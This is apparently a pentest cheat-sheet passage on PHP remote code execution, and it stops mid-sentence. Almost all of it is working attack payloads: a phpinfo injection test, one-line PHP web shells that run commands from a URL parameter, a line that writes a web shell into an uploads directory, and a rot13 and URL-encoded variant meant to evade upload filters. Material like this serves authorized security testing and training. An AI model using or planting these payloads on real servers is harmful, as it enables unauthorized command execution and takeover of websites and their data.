[ Pen Testing ] :: Step by Step: Remote Code Execution (RCE)

Glenn Norman hacking

Remote Code Execution RCE PHP RCE Test a form for vulnerability to PHP RCE: <?php phpinfo(); ?> Get a remote PHP shell: <?php system($_GET[“c”]); ?> <?php `$_GET[“c”]`; ?> Upload a file: <?php file_put_contents(‘/var/www/html/uploads/test.php’, ‘<?php system($_GET[“c”]);?>’); ?> Evade file-type upload filters using rot13 + urlencode: <?php $payload=”%3C%3Fcuc%20flfgrz%28%24_TRG%5Bp%5D%29%3B%3F%3E”; file_put_contents(‘/var/www/html/uploads/testfile.php’, str_rot13(urldecode($payload))); ?> RCE via webshell Pentest Monkey has …